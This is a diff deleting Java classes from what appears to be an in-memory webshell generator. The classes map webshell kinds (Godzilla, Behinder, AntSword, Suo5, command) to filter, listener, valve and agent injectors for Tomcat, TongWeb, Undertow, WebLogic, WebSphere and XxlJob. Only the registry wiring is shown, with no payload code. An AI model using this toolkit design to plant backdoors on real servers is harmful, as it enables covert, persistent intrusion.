map.put(JAKARTA_SERVLET, Pair.of(BehinderServlet.class, TomcatServletInjector.class));
map.put(FILTER, Pair.of(BehinderFilter.class, TomcatFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, TomcatFilterInjector.class));
map.put(LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class));
map.put(VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(Suo5Servlet.class, TomcatServletInjector.class));
map.put(JAKARTA_SERVLET, Pair.of(Suo5Servlet.class, TomcatServletInjector.class));
map.put(FILTER, Pair.of(Suo5Filter.class, TomcatFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, TomcatFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, TomcatListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, TomcatListenerInjector.class));
map.put(VALVE, Pair.of(Suo5Valve.class, TomcatValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, TomcatValveInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(AntSwordServlet.class, TomcatServletInjector.class));
map.put(FILTER, Pair.of(AntSwordFilter.class, TomcatFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, TomcatListenerInjector.class));
map.put(VALVE, Pair.of(AntSwordValve.class, TomcatValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
}
@@ -1,100 +0,0 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
import com.reajason.javaweb.memshell.tongweb.antsword.AntSwordValve6;
import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve6;
import com.reajason.javaweb.memshell.tongweb.command.CommandValve6;
import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve6;
import com.reajason.javaweb.memshell.tongweb.injector.*;
import com.reajason.javaweb.memshell.tongweb.suo5.Suo5Valve6;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
import java.util.Map;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
* @since 2024/12/26
*/
public class TongWeb6Shell extends AbstractShell {
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(CommandFilter.class, TongWebFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, TongWebFilterInjector.class));
map.put(LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class));
map.put(VALVE, Pair.of(CommandValve6.class, TongWebValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(CommandValve6.class, TongWebValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(GodzillaFilter.class, TongWebFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TongWebFilterInjector.class));
map.put(LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class));
map.put(VALVE, Pair.of(GodzillaValve6.class, TongWebValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(GodzillaValve6.class, TongWebValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(BehinderFilter.class, TongWebFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, TongWebFilterInjector.class));
map.put(LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class));
map.put(VALVE, Pair.of(BehinderValve6.class, TongWebValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(BehinderValve6.class, TongWebValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(Suo5Filter.class, TongWebFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, TongWebFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, TongWebListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, TongWebListenerInjector.class));
map.put(VALVE, Pair.of(Suo5Valve6.class, TongWebValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve6.class, TongWebValveInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(AntSwordFilter.class, TongWebFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, TongWebListenerInjector.class));
map.put(VALVE, Pair.of(AntSwordValve6.class, TongWebValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
return map;
}
}
@@ -1,100 +0,0 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
import com.reajason.javaweb.memshell.tongweb.antsword.AntSwordValve7;
import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve7;
import com.reajason.javaweb.memshell.tongweb.command.CommandValve7;
import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve7;
import com.reajason.javaweb.memshell.tongweb.injector.*;
import com.reajason.javaweb.memshell.tongweb.suo5.Suo5Valve7;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
import java.util.Map;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
* @since 2024/12/26
*/
public class TongWeb7Shell extends AbstractShell {
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(CommandFilter.class, TongWebFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, TongWebFilterInjector.class));
map.put(LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class));
map.put(VALVE, Pair.of(CommandValve7.class, TongWebValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(CommandValve7.class, TongWebValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(GodzillaFilter.class, TongWebFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TongWebFilterInjector.class));
map.put(LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class));
map.put(VALVE, Pair.of(GodzillaValve7.class, TongWebValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(GodzillaValve7.class, TongWebValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(BehinderFilter.class, TongWebFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, TongWebFilterInjector.class));
map.put(LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class));
map.put(VALVE, Pair.of(BehinderValve7.class, TongWebValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(BehinderValve7.class, TongWebValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(Suo5Filter.class, TongWebFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, TongWebFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, TongWebListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, TongWebListenerInjector.class));
map.put(VALVE, Pair.of(Suo5Valve7.class, TongWebValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve7.class, TongWebValveInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(AntSwordFilter.class, TongWebFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, TongWebListenerInjector.class));
map.put(VALVE, Pair.of(AntSwordValve7.class, TongWebValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
return map;
}
}
@@ -1,100 +0,0 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import com.reajason.javaweb.memshell.undertow.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.undertow.antsword.AntSwordServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.undertow.behinder.BehinderListener;
import com.reajason.javaweb.memshell.undertow.behinder.BehinderServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.undertow.command.CommandListener;
import com.reajason.javaweb.memshell.undertow.command.CommandServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.undertow.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.undertow.godzilla.GodzillaServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.undertow.injector.UndertowFilterInjector;
import com.reajason.javaweb.memshell.undertow.injector.UndertowListenerInjector;
import com.reajason.javaweb.memshell.undertow.injector.UndertowServletInitialHandlerAgentInjector;
import com.reajason.javaweb.memshell.undertow.injector.UndertowServletInjector;
import com.reajason.javaweb.memshell.undertow.suo5.Suo5Listener;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
import java.util.Map;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
* @since 2024/12/10
*/
public class UndertowShell extends AbstractShell {
public static final String AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(CommandServlet.class, UndertowServletInjector.class));
map.put(JAKARTA_SERVLET, Pair.of(CommandServlet.class, UndertowServletInjector.class));
map.put(FILTER, Pair.of(CommandFilter.class, UndertowFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, UndertowFilterInjector.class));
map.put(LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class));
map.put(AGENT_SERVLET_HANDLER, Pair.of(CommandServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(GodzillaServlet.class, UndertowServletInjector.class));
map.put(JAKARTA_SERVLET, Pair.of(GodzillaServlet.class, UndertowServletInjector.class));
map.put(FILTER, Pair.of(GodzillaFilter.class, UndertowFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, UndertowFilterInjector.class));
map.put(LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class));
map.put(AGENT_SERVLET_HANDLER, Pair.of(GodzillaServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(BehinderServlet.class, UndertowServletInjector.class));
map.put(JAKARTA_SERVLET, Pair.of(BehinderServlet.class, UndertowServletInjector.class));
map.put(FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class));
map.put(LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class));
map.put(AGENT_SERVLET_HANDLER, Pair.of(BehinderServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(Suo5Servlet.class, UndertowServletInjector.class));
map.put(JAKARTA_SERVLET, Pair.of(Suo5Servlet.class, UndertowServletInjector.class));
map.put(FILTER, Pair.of(Suo5Filter.class, UndertowFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, UndertowFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, UndertowListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, UndertowListenerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(AntSwordServlet.class, UndertowServletInjector.class));
map.put(FILTER, Pair.of(AntSwordFilter.class, UndertowFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, UndertowListenerInjector.class));
map.put(AGENT_SERVLET_HANDLER, Pair.of(AntSwordServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class));
return map;
}
}
@@ -1,88 +0,0 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import com.reajason.javaweb.memshell.weblogic.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.weblogic.behinder.BehinderListener;
import com.reajason.javaweb.memshell.weblogic.command.CommandListener;
import com.reajason.javaweb.memshell.weblogic.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicFilterInjector;
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicListenerInjector;
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicServletContextAgentInjector;
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicServletInjector;
import com.reajason.javaweb.memshell.weblogic.suo5.Suo5Listener;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
import java.util.Map;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
* @since 2024/12/24
*/
public class WebLogicShell extends AbstractShell {
public static final String AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(BehinderServlet.class, WebLogicServletInjector.class));
map.put(FILTER, Pair.of(BehinderFilter.class, WebLogicFilterInjector.class));
map.put(LISTENER, Pair.of(BehinderListener.class, WebLogicListenerInjector.class));
map.put(AGENT_SERVLET_CONTEXT, Pair.of(BehinderFilterChainAdvisor.class, WebLogicServletContextAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(CommandServlet.class, WebLogicServletInjector.class));
map.put(FILTER, Pair.of(CommandFilter.class, WebLogicFilterInjector.class));
map.put(LISTENER, Pair.of(CommandListener.class, WebLogicListenerInjector.class));
map.put(AGENT_SERVLET_CONTEXT, Pair.of(CommandFilterChainAdvisor.class, WebLogicServletContextAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(GodzillaServlet.class, WebLogicServletInjector.class));
map.put(FILTER, Pair.of(GodzillaFilter.class, WebLogicFilterInjector.class));
map.put(LISTENER, Pair.of(GodzillaListener.class, WebLogicListenerInjector.class));
map.put(AGENT_SERVLET_CONTEXT, Pair.of(GodzillaFilterChainAdvisor.class, WebLogicServletContextAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(Suo5Servlet.class, WebLogicServletInjector.class));
map.put(FILTER, Pair.of(Suo5Filter.class, WebLogicFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, WebLogicListenerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(AntSwordServlet.class, WebLogicServletInjector.class));
map.put(FILTER, Pair.of(AntSwordFilter.class, WebLogicFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, WebLogicListenerInjector.class));
map.put(AGENT_SERVLET_CONTEXT, Pair.of(AntSwordFilterChainAdvisor.class, WebLogicServletContextAgentInjector.class));
return map;
}
}
@@ -1,88 +0,0 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import com.reajason.javaweb.memshell.websphere.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.websphere.behinder.BehinderListener;
import com.reajason.javaweb.memshell.websphere.command.CommandListener;
import com.reajason.javaweb.memshell.websphere.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterChainAgentInjector;
import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterInjector;
import com.reajason.javaweb.memshell.websphere.injector.WebSphereListenerInjector;
import com.reajason.javaweb.memshell.websphere.injector.WebSphereServletInjector;
import com.reajason.javaweb.memshell.websphere.suo5.Suo5Listener;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
import java.util.Map;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
* @since 2024/12/21
*/
public class WebSphereShell extends AbstractShell {
public static final String AGENT_FILTER_MANAGER = AGENT + "FilterManager";
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(CommandServlet.class, WebSphereServletInjector.class));
map.put(FILTER, Pair.of(CommandFilter.class, WebSphereFilterInjector.class));
map.put(LISTENER, Pair.of(CommandListener.class, WebSphereListenerInjector.class));
map.put(AGENT_FILTER_MANAGER, Pair.of(CommandFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(GodzillaServlet.class, WebSphereServletInjector.class));
map.put(FILTER, Pair.of(GodzillaFilter.class, WebSphereFilterInjector.class));
map.put(LISTENER, Pair.of(GodzillaListener.class, WebSphereListenerInjector.class));
map.put(AGENT_FILTER_MANAGER, Pair.of(GodzillaFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(BehinderServlet.class, WebSphereServletInjector.class));
map.put(FILTER, Pair.of(BehinderFilter.class, WebSphereFilterInjector.class));
map.put(LISTENER, Pair.of(BehinderListener.class, WebSphereListenerInjector.class));
map.put(AGENT_FILTER_MANAGER, Pair.of(BehinderFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(Suo5Servlet.class, WebSphereServletInjector.class));
map.put(FILTER, Pair.of(Suo5Filter.class, WebSphereFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, WebSphereListenerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(AntSwordServlet.class, WebSphereServletInjector.class));
map.put(FILTER, Pair.of(AntSwordFilter.class, WebSphereFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, WebSphereListenerInjector.class));
map.put(AGENT_FILTER_MANAGER, Pair.of(AntSwordFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class));
return map;
}
}
@@ -1,31 +0,0 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler;
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaNettyHandler;
import com.reajason.javaweb.memshell.xxljob.injector.XxlJobNettyHandlerInjector;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2025/1/21
*/
public class XxlJobShell extends AbstractShell {
public static final String NETTY_HANDLER = "NettyHandler";
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(NETTY_HANDLER, Pair.of(CommandNettyHandler.class, XxlJobNettyHandlerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(NETTY_HANDLER, Pair.of(GodzillaNettyHandler.class, XxlJobNettyHandlerInjector.class));
return map;
}
}
